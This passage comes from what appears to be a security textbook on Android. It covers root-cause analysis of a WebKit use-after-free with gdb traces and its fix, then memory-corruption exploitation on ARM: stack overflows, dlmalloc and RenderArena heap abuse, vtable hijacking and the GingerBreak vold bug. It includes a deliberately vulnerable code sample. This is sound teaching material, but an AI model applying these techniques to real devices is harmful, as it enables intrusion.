#3 0x5d644210 in WebCore::removeAllChildrenInContainer<WebCore::Node,
WebCore::ContainerNode> (container=<optimized out>)
at external/webkit/Source/WebCore/dom/ContainerNodeAlgorithms.h:64
#4 0x5d644234 in removeAllChildren (this=0x5a8d36f0) at
external/webkit/Source/WebCore/dom/ContainerNode.cpp:76
#5 WebCore::ContainerNode::~ContainerNode (this=0x5a8d36f0,
__in_chrg=<optimized out>)
at external/webkit/Source/WebCore/dom/ContainerNode.cpp:100
#6 0x5d651890 in WebCore::Element::~Element (this=0x5a8d36f0,
__in_chrg=<optimized out>)
at external/webkit/Source/WebCore/dom/Element.cpp:118
#7 0x5d65c5b4 in WebCore::StyledElement::~StyledElement (this=0x5a8d36f0,
__in_chrg=<optimized out>)
at external/webkit/Source/WebCore/dom/StyledElement.cpp:121
#8 0x5d486830 in WebCore::HTMLElement::~HTMLElement (this=0x5a8d36f0,
__in_chrg=<optimized out>)
at external/webkit/Source/WebCore/html/HTMLElement.h:34
#9 0x5d486848 in WebCore::HTMLElement::~HTMLElement (this=0x5a8d36f0,
__in_chrg=<optimized out>)
at external/webkit/Source/WebCore/html/HTMLElement.h:34
#10 0x5d46fb9a in WebCore::TreeShared<WebCore::ContainerNode>::removedLast
Ref
(this=<optimized out>)
at external/webkit/Source/WebCore/platform/TreeShared.h:118
#11 0x5d46aef0 in deref (this=<optimized out>) at
external/webkit/Source/WebCore/platform/TreeShared.h:79
#12 WebCore::TreeShared<WebCore::ContainerNode>::deref (this=<optimized
out>)
at external/webkit/Source/WebCore/platform/TreeShared.h:68
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#13 0x5d46f69a in ~RefPtr (this=0x5e9003e8, __in_chrg=<optimized out>) at
external/webkit/Source/JavaScriptCore/wtf/RefPtr.h:58
#14 WebCore::Position::~Position (this=0x5e9003e8, __in_chrg=<optimized
out>)
at external/webkit/Source/WebCore/dom/Position.h:52
#15 0x5d675d60 in WebCore::ReplacementFragment::removeUnrenderedNodes
(this=0x5e9004a8, holder=0x5a6c5fe0)
...
There it is! You can see that it is getting freed by a call to a destructor for a
WebCore::Text object. The other thing you can tell from looking closely at the
preceding stack trace is that a buffer is being freed when removing all children
from a certain type of HTML element called a ContainerNode. This happens
during the first call to removeNode, where your initial breakpoint was placed.
Inspecting the node parameter on the second call to removeNode, you can see
this pointer being passed in. That definitely should not happen.
At this point you have confirmed that this is a use-after-free vulnerability.
Still, you have not yet determined the root cause. To do this you have to venture further up the call stack and suspiciously analyze what the program is
doing incorrectly. Turn your attention to the function that calls removeNode,
removeUnrenderedNodes. The source for this function is presented here:
287 void ReplacementFragment::removeUnrenderedNodes(Node* holder)
288 {
289
Vector<Node*> unrendered;
290
291
for (Node* node = holder->firstChild(); node;
node = node->traverseNextNode(holder))
292
if (!isNodeRendered(node) && !isTableStructureNode(node))
293
unrendered.append(node);
294
295
size_t n = unrendered.size();
296
for (size_t i = 0; i < n; ++i)
297
removeNode(unrendered[i]);
298 }
Within this function, the loop on line 291 uses traverseNextNode to go through
the children of the Node object that’s passed in. For each Node, the code inside
the loop adds any non-table Node that is not rendered to the unrendered Vector.
Then, the loop on line 296 processes all of the accumulated Node objects.
It’s likely that the first call to removeNode is fine. However, the second call
operates on a freed pointer. In addition to knowing where the free happens
and what uses the freed block, we know from our stack trace on dlfree that
removeNode will remove all children of a ContainerNode passed to it. Still, we
don’t know the root cause. We don’t know exactly what leads to the use-afterfree. It seems unlikely that something strange would be happening inside the
isNodeRendered and isTableStructureNode functions. The only other function
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being called is the traverseNextNode function. Looking at the source code for
this function we see the following:
1116 Node* Node::traverseNextNode(const Node* stayWithin) const
1117 {
1118
if (firstChild())
1119
return firstChild();
1120
if (this == stayWithin)
1121
return 0;
1122
if (nextSibling())
1123
return nextSibling();
1124
const Node *n = this;
1125
while (n && !n->nextSibling() && (!stayWithin ||
n->parentNode() != stayWithin))
1126
n = n->parentNode();
1127
if (n)
1128
return n->nextSibling();
1129
return 0;
1130 }
Lines 1118 and 1119 are the most telling. This function will descend into
children whenever they exist. Because of this behavior, the unrendered Vector
winds up containing any non-rendered nodes and their children. As such, the
unrendered Vector will hold an already deleted child of the first node when
the first call returns.
You can verify this relationship by inspecting the unrendered Vector state
on the first call to removeNode:
Breakpoint 1, WebCore::ReplacementFragment::removeNode (this=0x5ea004a8,
node=...)
at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.
cpp:211
211
{
(gdb) up
#1 0x5d675d5a in WebCore::ReplacementFragment::removeUnrenderedNodes
(this=0x5ea004a8, holder=0x5ab3e550)
at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.
cpp:297
297
removeNode(unrendered[i]);
(gdb) p/x n
$1 = 0x2
(gdb) x/2wx unrendered.m_buffer.m_buffer
0x6038d8b8: 0x5edbf620 0x595078c0
You can see that there are two entries and they point to Node objects at
0x5edbf620 and 0x595078c0. Look at the contents of these Node objects closer
to see how they are related. Specifically, see if the first Node is the parent of the
second node.
(gdb) p/x *(Node *)0x5edbf620
$2 = {
[...]
m_parent = 0x5ab3e550
[...]
}
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(gdb) p/x *(Node *)0x595078c0
$3 = {
[...]
m_parent = 0x5edbf620
[...]
}
(gdb)
Aha! It is! You could stop here, but being sure requires following these two
objects through to the crash to make sure no funny business is unfolding.
You can see that the second entry in the Vector has an m_parent field that
points to the first Node. When the second Node is removed, it and its parent are
already freed. Place a breakpoint on dlfree again. This time, let GDB display
its usual breakpoint notification and have it continue automatically.
(gdb) break dlfree thread 2
Breakpoint 2 at 0x401259e2: file
bionic/libc/bionic/../upstream-dlmalloc/malloc.c,
line 4711.
(gdb) commands
Type commands for breakpoint(s) 2, one per line.
End with a line saying just "end".
>cont
>end
(gdb) cont
Continuing.
[...]
Breakpoint 2, dlfree (mem=0x595078c0) at
bionic/libc/bionic/../upstream-dlmalloc/malloc.c:4711
[...]
Breakpoint 2, dlfree (mem=0x5edbf620) at
bionic/libc/bionic/../upstream-dlmalloc/malloc.c:4711
[...]
You can see, again, that these two pointers are freed. The first call frees
the child Node and the second frees the first Node. The original breakpoint on
removeNode is hit next.
Breakpoint 1, WebCore::ReplacementFragment::removeNode (this=0x5ea004a8,
node=...)
at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.
cpp:211
211
{
(gdb) p/x node
$4 = {
m_ptr = 0x595078c0
}
Finally, you’ve confirmed that the Node passed in to removeNode is indeed the
freed child Node. If you continue, you’re already executing undefined behavior
by operating on this released object.
So the root cause is that both the removeNode and removeUnrenderedNodes
functions are traversing into the children of a Node that is to be removed. But
how do you fix the issue?
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There are several ways to avoid this vulnerability. In fact, this vulnerability
was already patched by the WebKit developers and assigned CVE-2011-2817.
The fact that Android remains vulnerable is an unfortunate oversight and is
likely due to differences in security prioritization within Google. The fix that
the WebKit developers officially carried forward is as follows:
diff --git a/Source/WebCore/editing/ReplaceSelectionCommand.cpp
b/Source/WebCore/editing/ReplaceSelectionCommand.cpp
index d4b0897..8670dfb 100644
--- a/Source/WebCore/editing/ReplaceSelectionCommand.cpp
+++ b/Source/WebCore/editing/ReplaceSelectionCommand.cpp
@@ -292,7 +292,7 @@
void ReplacementFragment::removeUnrenderedNodes(Node* holder)
{
Vector<Node*> unrendered;
+
Vector<RefPtr<Node> > unrendered;
for (Node* node = holder->firstChild(); node;
node = node->traverseNextNode(holder))
if (!isNodeRendered(node) && !isTableStructureNode(node))
This modification changes the declaration of the unrendered Vector to hold
reference counted pointers instead of raw pointers. Although this does remove
the possibility for use-after-free, there is another, more efficient approach. The
traverseNextSibling function implements the same behavior as traverseNextNode with one key difference. It does not traverse into child nodes. Because
you know that child nodes will get removed on the call to removeNode, this fits
the use case of this function better. The unrendered Vector would not contain
children of nodes that get removed, and so the use-after-free is still avoided.
Judging Exploitability
After the root cause of an issue is isolated, the next goal is to further classify
the issue by judging how easily it can be exploited. Whether the ultimate goal
is fixing an issue or exploiting it, prioritizing based on ease of exploitation uses
resources more efficiently. Easy-to-exploit issues should be investigated with
higher priority than those that are hard to exploit.
Accurately determining whether or not a bug can be exploited is a difficult,
complicated, and lengthy process. Depending on the bug and the level of certainty
required, this task can take anywhere from a few minutes to several months.
Thankfully, teams that are tasked with fixing bugs may not need to concern
themselves with this task at all. They can simply fix the bug. If the ultimate goal
is prioritizing which bugs to fix first, one can err on the side of caution. However,
researchers aiming to prove a bug’s exploitability do not have this luxury.
The whole process is highly subjective and hinges on the experience and
knowledge of the analyst or analysts involved. To make a correct determination,
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analysts must be well versed in state-of-the-art exploitation techniques. They
must be intimately familiar with all the exploit mitigations present on the target platform. Even an experienced and knowledgeable analyst faces challenges
when judging whether or not some bugs are exploitable.
Proving whether an issue is exploitable or not is easy sometimes, but other
times it is simply infeasible. For example, the issue analyzed in the previous
section sometimes leads to a crash with a tainted PC register. This may, at a
glance, be deemed highly dangerous. However, there seems to be very little
chance to control the buffer that is freed before it is reused. This suggests that
it may not actually be exploitable at all. Exploiting issues like this is covered in
more detail in Chapter 8.
Summary
In this chapter you learned about debugging and analyzing vulnerabilities on
Android. The chapter covers a plethora of techniques for debugging both Dalvik
and native code, including using common debug facilities, leveraging automation
to increase efficiency, debugging at source level using AOSP-supported devices,
and debugging on-device for increased performance. We explained why symbols
are more important on ARM, showed how that leads to challenges in debugging with non-AOSP devices, and offered ways to deal with these problems.
Finally the chapter discussed two key goals when analyzing vulnerabilities:
determining root cause and judging exploitability. You were introduced to
several common vulnerability analysis tools and techniques to help you get a
deeper understanding of bugs that you might encounter. You walked through
analyzing the root cause of a vulnerability in the Android Browser and learned
some of the considerations involved in determining whether or not issues are
exploitable.
The next chapter takes a closer look at user-space exploitation on Android.
It covers crucial code constructs and exploitation-relevant operating system
details, and examines how several exploits work in detail.
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CHAPTER
8
Exploiting User Space Software
This chapter introduces exploiting memory corruption issues in user-space
software on the Android operating system. Well-known vulnerability classes,
such as stack-based buffer overflows, are examined in the context of the ARM
architecture. The chapter discusses key implementation details that are relevant
when developing exploits. Next, it examines a few historic exploits so you can
understand the application of the previously introduced concepts. Finally, the
chapter wraps up with a case study in advanced heap exploitation using a
remotely exploitable vulnerability in the WebKit browser engine.
Memory Corruption Basics
The key to understanding exploits for memory corruption vulnerabilities is
abstraction. It is important to avoid thinking in terms of a high-level language
such as C. Instead, an attacker should simply consider the memory of the target
machine as a finite amount of memory cells that are only assigned a meaning by
the target program’s semantics. This includes any meaning implicitly induced
by certain instruction types or functions, such as those that treat regions of
memory as the stack or heap.
263
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The following sections discuss certain specific incarnations of memory
corruption and how they can be exploited on the Android platform. However,
they all have one thing in common with any other exploitation method: The
implicit assumptions the target code makes about certain memory regions are
violated by the attacker. Subsequently, these violations are used to manipulate
the target program’s state to the attacker’s liking. This can happen in more
straightforward ways, such as directing the native execution flow to attackercontrolled memory. It can also happen in more arcane ways, such as leveraging
existing program semantics on violated assumptions to make a program behave
to the attacker’s choosing (often referred to as weird machine programming).
There are many details and advanced exploitation methods for both the
user-space stack and heap that cannot be covered in this chapter, because which
technique to use depends so much on the vulnerability at hand. There are countless resources on the Internet that provide further details that are sometimes
architecture specific. This chapter focuses on introducing the most common
concepts that affect the Android platform on ARM devices.
Stack Buffer Overflows
Like many other architectures’ Application Binary Interfaces (ABIs), the ARM
Embedded ABI (EABI) makes heavy use of the designated (thread-specific)
program stack. The following ABI rules are used on ARM:
■
Functions that exceed four parameters get further parameters passed on
the stack using the push instruction.
■
Local variables that cannot be stored in registers are allocated on the
current stack frame. This holds especially true for variables larger than
the 32-bit native word size of the ARM architecture and variables that
are referenced by pointers.
■
The return address from the current execution function is stored on the
stack for non-leaf functions. More details on handling of function return
addresses are discussed in Chapter 9.
When a function that uses the stack is invoked, it typically starts with prologue code that sets up a stack frame and ends with epilogue code that tears it
down again. The prologue code saves registers that should not be trashed onto
the stack. When returning from the function later, the corresponding epilogue
restores them. The prologue also allocates the space required for all local variables stored on the stack by adjusting the stack pointer accordingly. Because
the stack grows from high virtual memory to low memory, the stack pointer is
decremented in the prologue and incremented in the epilogue. Nested function
calls result in layered stack frames as shown in Figure 8-1.
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sp
fp
local variables n
low
saved frame pointer n
.....
saved program counter n
local variables 1
saved frame pointer 1
start of stack
saved program counter 1
high
Figure 8-1: Multiple stack frames example
Note that although there are special instructions in Thumb mode that deal
with the stack pointer register (namely push and pop); the general concept of
the stack is just an ABI agreement between different functions. The designated
stack pointer register could be used for other purposes as well. Therefore a local
variable allocated on the stack can be treated like any other memory location
by an attacker.
What makes vulnerabilities involving local stack variables particularly interesting is that they reside close to other inline control data—that is, saved function
return addresses. Also, all local variables reside next to each other without any
interleaving control data, as depicted in Figure 8-1. All information about the stack
frame layout is implicitly encoded in the native code generated by the compiler.
Any bounds-checking bug that affects a local variable can then trivially be
used to overwrite the contents of other local variables or inline control data
with attacker-controlled values. Aleph1 was the first to publicly document this
in his seminal article entitled “Smashing the Stack for Fun and Profit” (Phrack
49, Article 14, http://phrack.org/issues.html?issue=49&id=14#article).
Because temporary character buffers or arrays of data are often allocated as
local variables on the stack, this is a common vulnerability pattern. A trivial
example of vulnerable code looks like the following code.
Vulnerable Stack Buffer Function Example
void getname() {
struct {
char name[32];
int age
} info;
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info.age = 23;
printf("Please enter your name: ");
gets(info.name);
printf("Hello %s, I guess you are %u years old?!\n", info.name,
info.age);
}
The gets function is notoriously known for not performing any bounds checking. If more than 32 characters are provided on stdin, the program will misbehave.
The assembly generated by GCC 4.7.1 with the flags -mthumb -mcpu=cortex-a9
-O2 looks like this:
Disassembly for the Previous Example
00000000 <getname>:
0: f240 0000 movw
r0, #0
↓ Save return address to caller on stack.
4: b500
6: 2317
push {lr}
movs
r3, #23
↓ Reserve stack space for local variables.
8: b08b
sub sp, #44
a: f2c0 0000 movt r0, #0
↓ Initialize stack variable age with fixed value 23 set to r3 before.
e: 9301
str r3, [sp, #36]
10: f7ff fffe bl 0 <printf>
↓ Calculate stack buffer address as first argument to gets.
14: a802
16: f7ff fffe
1a: f240 0000
add
r0, sp, #4
bl 0 <gets>
movw r0, #0
↓ Load age local variable to print it.
1e: 9a01
ldr r2, [sp, #36]
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↓ Calculate stack buffer address again for printing.
20:
22:
26:
2a:
a902
add r1, sp, #4
f2c0 0000 movt r0, #0
f7ff fffe bl 0 <printf>
b00b
add sp, #44
↓ Load return address from stack and return.
2c: bd00
pop {pc}
As stated earlier, the stack frame layout is encoded entirely in the code of the
function, or more precisely in the sp register relative offsets. The layout on the
stack is shown in Figure 8-2.
sp+4
name[32]
sp+36
age
saved program counter
low
high
Figure 8-2: Stack frame layout for example
When an attacker supplies more than 32 bytes of input, he first overwrites
the local variable age with bytes 33 to 36 and then the saved return address with
bytes 37 to 40. He can then redirect the execution flow upon function return to a
location of his liking or simply abuse the fact that he can control a local variable
that he otherwise would not have been able to change (to make him look older)!
Because this type of vulnerability is so common, a generic mitigation was
implemented in the GNU C Compiler. This mitigation was enabled by default
since the first release of Android. See the “Protecting the Stack” section in Chapter
12 for more details. Despite this mitigation, vulnerability-specific techniques can
still be used for attacking applications protected by stack cookies, such as in the
case of the zergRush exploit discussed later in this chapter. Also, vanilla stack
buffer overflows still serve as a very useful introductory example to memory
corruption vulnerabilities.
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Heap Exploitation
Non-local objects that must live longer than one function’s scope are allocated
on the heap. Arrays and character buffers allocated on the heap are subject to
the same bounds-checking issues as those situated on the stack. In addition to
data, the heap contains in-bound allocation control metadata for each allocated
object. Furthermore, unlike local stack-backed variables, heap allocation lifetimes
are not automatically managed by the compiler. Heap-based vulnerabilities lend
themselves to easier exploitation due to these two facts. Accordingly, more such
vulnerabilities can be leveraged by an attacker.
Use-After-Free Issues
In a use-after-free scenario, the application code uses a pointer to access an object
that has already been marked as free to the heap allocation using the free function or delete operator. This is a common bug pattern in complex software that
is also hard to identify with manual source code auditing. Because the delete
operator typically relies on free for allocation handling internally, we use them
interchangeably here.
Most heap allocators do not touch the contents of an allocation when freeing
it. This leaves intact the original data (from when the allocation was previously
in use). Many allocators store some control information about freed blocks in
the first machine words of the free allocation but the majority of the original
allocation stays intact. When a memory allocation is used after being freed back
to the allocator, different scenarios may play out:
■
The freed allocation’s memory has not been used to back a new allocation: When the contents are accessed, they are still the same as when the
object was still valid. In this case, no visible bug will manifest. However,
in some cases a destructor may invalidate the object’s contents, which may
lead to an application crash. This scenario can also lead to information
leaks that disclose potentially sensitive memory contents to attackers.
■
The freed allocation could be reused for (parts of) a new allocation: The
two semantically different pointers now point to the same memory location. This often results in a visible crash when the two competing pieces of
code interfere with each other. For example, one function might overwrite
data in the allocation that is then interpreted as a memory address by the
other function. This is shown in Figure 8-3.
A freed block that is not reused by another allocation is not of much use
(unless one can force the code to free it once more). However, careful input
crafting often allows driving the target application to make another allocation
of similar size to reuse the just-freed spot. The methodology to do that is heap
allocator specific.
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class A {
int example_1;
int example_2;
}
example_1
example_2
example_3
class B {
char example_3[8];
}
Figure 8-3: Heap use-after-free aliasing
Custom Allocators
Most developers think the heap allocator is part of the operating system. This
is not true. The operating system merely provides a mechanism to allocate new
pages (4kB in size on most architectures). These pages are then partitioned into
allocations of the required size by the heap allocator. The heap allocator most
people use is part of the C runtime library (libc) they are using. However, an
application may use another heap allocator that is backed by operating system
pages. In fact, most desktop browsers do so for performance reasons.
It is a common misconception that WebKit-based browsers use the TCmalloc
allocator on all architectures. This is not true for the Android browser. Although
it is WebKit based, it makes use of Bionic’s embedded dlmalloc allocator for
normal allocations.
The Android dlmalloc Allocator
Android’s Bionic libc embeds Doug Lea’s famous dlmalloc allocator that has
been in development since 1987. Many open source libc libraries make use of
dlmalloc, including older versions of the widespread GNU libc. Newer versions
of GNU libc use a modified version of the original dlmalloc.
Up until Android 4.1.2, Bionic bundled the same slightly outdated dlmalloc
2.8.3 from 2005. In Android 4.2, Bionic was modified to contain an upstream
dlmalloc in a separate folder. Since then, Android ships with dlmalloc 2.8.6 from
2012. The following information is valid for both versions.
The allocator splits the pages allocated by the operating system into blocks.
Those blocks consist of an allocator-specific control header and the application
memory requested. Although memory can be requested at byte granularity, blocks
are rounded up to multiples of eight bytes in size per default. However, dlmalloc
allows specifying larger multiples for performance reasons. For example, builds
for some Intel boards round to multiples of 16 bytes. In consequence, blocks of
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different sizes that are rounded up to the same size are treated the same by the
allocator and can be used interchangeably for filling up empty slots in a useafter-free scenario.
dlmalloc stores inline control data about blocks on the heap to maximize
performance of allocations and frees. The inline control data starts two pointer
sizes before the actual block. These two fields hold the sizes of the previous
and current chunks, allowing the allocator to effectively navigate to neighboring blocks in both directions. Free blocks also contain additional information
in the beginning of the user part of an allocated block. For blocks smaller than
256 bytes, this additional metadata contains a pointer to the next and previous
free blocks of the same size in a doubly linked First-In-First-Out (FIFO) list. For
larger blocks, free blocks resemble a trie, and subsequently more pointers must
be stored. For more details, consult the dlmalloc sources, which are quite comment rich. The overlaid block headers for small blocks are shown in Figure 8-4.
dlmalloc free
dlmalloc allocated
previous size
current size
previous size
C
P
?
previous link
current size
C
P
?
pointer
next link
user data
Figure 8-4: dlmalloc block headers, list
To optimize allocation performance, small free blocks are categorized by
size. The head of the doubly linked free list is kept in an array called a bin. This
enables lookups in constant time during allocation. When a block is freed using
free, dlmalloc checks if the adjacent blocks are free as well. If so, adjacent blocks
are merged into the current block. This process is called coalescing. Coalescing
takes place before the potentially merged block is put into a bin, therefore bins
do not influence coalescing behavior (unlike other allocators such as TCmalloc,
which only coalesces chunks that no longer fit into an allocation cache). This
behavior has significant implications for manipulating the heap into a fully
attacker-controlled state:
■
When exploiting use-after-free scenarios, an attacker must take care to ensure
that adjacent blocks are still in use. Otherwise, a new allocation that was
supposed to take up the free spot might be allocated from another cached,
free block of the same size instead of the now larger block. Even when the
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allocation is taken from the same block, it might be shifted if the freed block
was coalesced with a free block right before it.
■
For heap buffer overflows and other control data corruption attacks, coalescing with blocks at a lower address can shift the control structures out of
control of the current block.
In either case, coalescing can be mitigated by keeping small in-use allocations
adjacent to the blocks exploited.
Many modern heap allocators contain additional security checks during allocation and freeing to mitigate heap attacks. The checks in dlmalloc only affect
control data manipulation. free checks the following invariants:
■
The next adjacent chunk’s address must be after the current chunk’s
address. This is to avoid integer overflows when adding the current chunk’s
address and size.
■
The previous adjacent chunk must be on the heap, determined by comparing its address with a global minimum address set at initialization. This
mitigates setting an artificially high previous chunk size.
■
When a chunk is unlinked from the previously mentioned free lists, during
coalescing or servicing a new allocation, a safe unlink check is executed.
This check verifies two things. First, it verifies that the chunk pointed
to by the forward pointer has a back pointer that points to the original
chunk. Second, the chunk pointed to by the backward pointer must have
a forward pointer that points to the original chunk. This mitigates overwriting arbitrary pointers with the chunk addresses during the unlinking.
However, memory locations that already contain pointers to the chunks,
such as the bin list heads, could still be overwritten in this fashion.
The security checks in malloc are mostly limited to the unlinking checks
mentioned already.
Although special scenarios exist that are not covered by these checks, it is often
easier to simply attack application-specific pointers on the heap. Many other generalized techniques are documented in Phrack 66 (in particular, articles 6 and 10,
“Yet another free() exploitation technique” and “MALLOC DES-MALEFICARUM”)
and several other sources. One methodology for attacking application-specific
pointers is presented in the next section.
C++ Virtual Function Table Pointers
Polymorphism in C++ is supported by what is called virtual functions. Those
functions can be specialized for derived classes so that the correct function for
an object in memory is called even when the calling code knows only about the
base class. Discussing all details of object-oriented programming with virtual
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functions goes beyond the scope of this book, but an excellent introduction is
given in B. Stroustrup, The C ++ Programming Language, Addison Wesley (3rd
edition), 1997.
Of more interest to the attacker is not the beauty of object-oriented programming in C++ but how virtual function calls are implemented by compilers.
Because the resolution of virtual functions happens at runtime, there must be
some information stored within a class’s representation in memory. And indeed,
GCC places a virtual function table pointer—vftable for short—at the beginning of
an object in-memory. Instead of containing a classic function pointer for each
virtual function, this pointer points to a table containing function pointers. This
is a straightforward object size optimization, as a specific instance is always of
a specific class type and therefore has a fixed set of virtual functions. A binary
contains a virtual function table for each of its base classes. The pointer to the
virtual function table is initialized by the constructor. More information about
implementation details can be found in S. Lippman, Inside the C++ Object Model,
Addison-Wesley, 1996. The basic layout is shown in Figure 8-5.
heap
.text
class instance : A, B
virtual function table pointer A
function pointer 1
virtual function table pointer B
function pointer 2
member 1
function pointer 3
Figure 8-5: Virtual function table pointer in C++ class
Therefore any virtual function call requires a memory indirection through
the class instance, which is typically allocated in heap memory. On ARM, a
GCC virtual function call site may look like the following.
WebKit Virtual Function Call Example
↓ Load virtual function table pointer into r0 from beginning of class in-memory,
pointed to by r4.
ldr r0, [r4, #0]
subs r5, r6, r5
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↓ Load actual function pointer from table at offset 772.
ldr.w r3, [r0, #772]
↓ Initialize this pointer argument r0 to class pointer from r4.
mov r0, r4
↓ Call the function pointer.
blx r3
When a memory corruption bug on the heap is in play, an attacker can therefore
try to manipulate the virtual function table pointer (loaded from r4 into r0 in
above example) to his liking. Although vftables normally reside in the binary’s
text section, an attacker can point it to a faked virtual function pointer table on
the heap. Later, when a virtual method for this object is called, the fake virtual
function pointer table will be used and control flow will be diverted to a location of the attacker’s choosing.
One weakness of this technique is that the address to call as a function cannot
be written directly to the C++ object in memory. Instead, one level of indirection is required and the attacker therefore needs to do one of two things. First,
he can leak a heap address he can control in order to subsequently provide it
as virtual function table pointer. Or, he can use application logic to overwrite
the virtual function table pointer with a pointer to attacker-controlled data, as
showcased in the next section.
WebKit Specific Allocator: The RenderArena
As previously stated, programs can contain their own heap allocators that are
optimized for the program. The WebKit rendering engine contains such an
allocator for optimizing the RenderTree generation for speed. The RenderTree is a
companion to the Document Object Model (DOM) Tree and contains all elements
on a page annotated with position, styles, and so on that need to be rendered.
Because it needs to be rebuilt every time the page layout changes (for example,
by resizing a Window, changes in the DOM tree, and much more), it needs to
use a fast allocator. The C++ objects that represent nodes of the RenderTree are
therefore allocated on a special heap allocator called the RenderArena.
The RenderArena is not backed directly by operating system chunks but by
large allocations on the main heap. These larger allocations are allocated using
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the now familiar dlmalloc and are used to service RenderArena allocations.
In this respect, the RenderArena is a heap on a heap. RenderArena allocations
are 0x1000 bytes plus the arena header, typically totaling 0x1018 bytes in size
on ARM.
The allocation strategy of the RenderArena is trivial and quickly explained.
Chunks are never coalesced; they are kept in a singly linked First-In-Last-Out
(FILO) list for reuse on allocation requests of the same size. If no allocation of
the requested size is available, a new block is created at the end of the current
RenderArena. If the current arena is too small to service the request, a new one
is simply allocated from dlmalloc. Despite being very simple, this allocation
strategy still works well, because only fixed size C++ classes are allocated on
this special heap, so overall there is a small variance in allocation sizes.
Because of this simple allocation strategy, no inline metadata is stored for
allocated blocks. Free blocks have the first machine word replaced with a pointer
to the next free block of the same size to form the singly linked FILO list mentioned previously.
Placing the list pointer for the next free block of same size at the beginning
of the free block provides an excellent attack opportunity. Because all objects
on the RenderArena are C++ classes derived from a base class with virtual
functions, they all have a virtual function table pointer at the beginning. This
pointer overlaps with the linked list pointer. Therefore, the RenderArena allocator automatically points the virtual function table pointer to the previously
freed block of the same size, as shown in Figure 8-6.
virtual function
table pointer
member 1
member 2
next free
function
pointer 1
member 1
Figure 8-6: vftptr assigned to next free chunk
If the contents of an allocation of the same size can be controlled and freed just
before a use-after-free scenario, the native code flow can be redirected without
further heap crafting. The “Exploiting the Android Browser” section at the end
of this chapter discusses one such scenario. In that scenario, it is still possible
to successfully exploit this even when the full allocation cannot be controlled.
This technique was mitigated by Google in recent upstream WebKit releases
as a direct response to it being presented publicly at Hackito Ergo Sum 2012. The
linked list pointers are now masked with a magic value generated at runtime
and therefore are no longer valid virtual function table pointers. The value is
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generated based upon some ASLR entropy and has the most significant bit set.
This ensures that the generated value cannot be predetermined and is very
unlikely to be a valid pointer.
A History of Public Exploits
An overview of many different local privilege escalation exploits was already
provided in Chapter 3. This chapter explains three vulnerabilities and their corresponding public exploits in great detail in an effort to provide some background
about existing techniques for user-space exploitation in the Android ecosystem.
The first two vulnerabilities affect vold, Android’s custom automatic mounting
daemon. This software has been specifically developed for the use in Android
and has a history of security flaws exposed over two attack surfaces. The first
vulnerability examined is reachable over a NETLINK socket. These are special
local packet sockets that are typically used for communication between kernel
and user-space. The second vulnerability is exposed via a UNIX domain socket.
A UNIX domain socket is bound to a specific path in the file system and has
an owning user group as well as file permissions. Because this specific UNIX
domain socket is not accessible to all users, this vulnerability is not reachable
from an exploited browser process.
The third exploit examined, mempodroid, utilizes a vulnerability in the Linux
kernel itself to allow writing to memory of processes running at higher privileges.
This primitive is used to cleverly influence a set-uid binary to execute a custom
payload and thereby escalate privileges. Despite relying on a vulnerability in
kernel code, exploitation happens primarily in user-space context.
GingerBreak
The vold daemon listens on a NETLINK socket waiting to be informed about
new disk-related events so it can subsequently mount drives automatically.
Normally, those messages are sent by the kernel to all user-space programs
registered for a specific type of messages. However, it is also possible to send
a NETLINK message from one user-space process to another. Consequently, it
is possible to send messages that were expected to come from the kernel and
abuse bugs that are exposed via this attack surface. More interestingly, NETLINK
sockets are currently not restricted by the Android permission model and any
app can create and communicate using them. This broadens the attack surface
for vulnerabilities in NETLINK message handling related code significantly.
vold uses Android Open Source Project (AOSP) library code to handle and
parse NETLINK messages. When a new message regarding an event on a block
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device is delivered, a dispatcher class called VolumeManager invokes the virtual
function handleBlockEvent on all registered Volume classes. Each registered class
then decides whether this event concerns them or not. The following excerpt
from system/vold/VolumeManager.cpp within the AOSP repository shows the
implementation of handleBlockEvent.
Implementation of handleBlockEvent in vold
void VolumeManager::handleBlockEvent(NetlinkEvent *evt) {
const char *devpath = evt->findParam("DEVPATH");
/* Lookup a volume to handle this device */
VolumeCollection::iterator it;
bool hit = false;
for (it = mVolumes->begin(); it != mVolumes->end(); ++it) {
if (!(*it)->handleBlockEvent(evt)) {
#ifdef NETLINK_DEBUG
SLOGD("Device '%s' event handled by volume %s\n", devpath,
(*it)->getLabel());
#endif
hit = true;
break;
}
}
if (!hit) {
#ifdef NETLINK_DEBUG
SLOGW("No volumes handled block event for '%s'", devpath);
#endif
}
}
The DirectVolume class contains code to handle addition of partitions. This
code is invoked when a NETLINK message with the parameter DEVTYPE is
set to something other than disk. The following excerpt from system/vold/
DirectVolume.cpp within the AOSP repository shows the implementation of
the handlePartitionAdded function from the DirectVolume class.
Vulnerable handlePartitionAdded Code from vold at 8509494
void DirectVolume::handlePartitionAdded(const char *devpath,
NetlinkEvent *evt) {
int major = atoi(evt->findParam("MAJOR"));
int minor = atoi(evt->findParam("MINOR"));
int part_num;
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↓ Retrieve the PARTN parameter from the NETLINK message.
const char *tmp = evt->findParam("PARTN");
if (tmp) {
part_num = atoi(tmp);
} else {
SLOGW("Kernel block uevent missing 'PARTN'");
part_num = 1;
}
↓ Check a dynamically incremented member variable but no absolute array
boundaries.
if (part_num > mDiskNumParts) {
mDiskNumParts = part_num;
}
if (major != mDiskMajor) {
SLOGE("Partition '%s' has a different major than its disk!",
devpath);
return;
}
↓ Assign a user-controlled value to the user-controlled index, only upper
bounded.
if (part_num > MAX_PARTITIONS) {
SLOGE("Dv:partAdd: ignoring part_num = %d (max: %d)\n",
part_num, MAX_PARTITIONS);
} else {
mPartMinors[part_num -1] = minor;
}
// …
}
This function does not properly validate the bounds of the part_num variable. This value is directly supplied by an attacker as the PARTN parameter in
the NETLINK message. In the above comparison, it is interpreted as a signed
integer and used for accessing a member of an integer array. The index value
is not checked to see if it is negative. This allows accessing elements that are
located in memory before the mPartMinors array, which is stored on the heap.
This enables an attacker to overwrite any 32-bit word located in memory
before the array in question with an attacker-controlled value. The vulnerability
was fixed in the Android 2.3.4 release. The patch is simple and just adds the
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proper check for negative indexes. The following output from git diff shows
the relevant change.
Patch for the Missing Bounds Check in handlePartitionAdded with f3d3ce5
--- a/DirectVolume.cpp
+++ b/DirectVolume.cpp
@@ -186,6 +186,11 @@ void DirectVolume::handlePartitionAdded
(const char *devpath, NetlinkEvent *evt)
part_num = 1;
}
↓ The missing bounds checks are added here.
+
+
+
+
+
if (part_num > MAX_PARTITIONS || part_num < 1) {
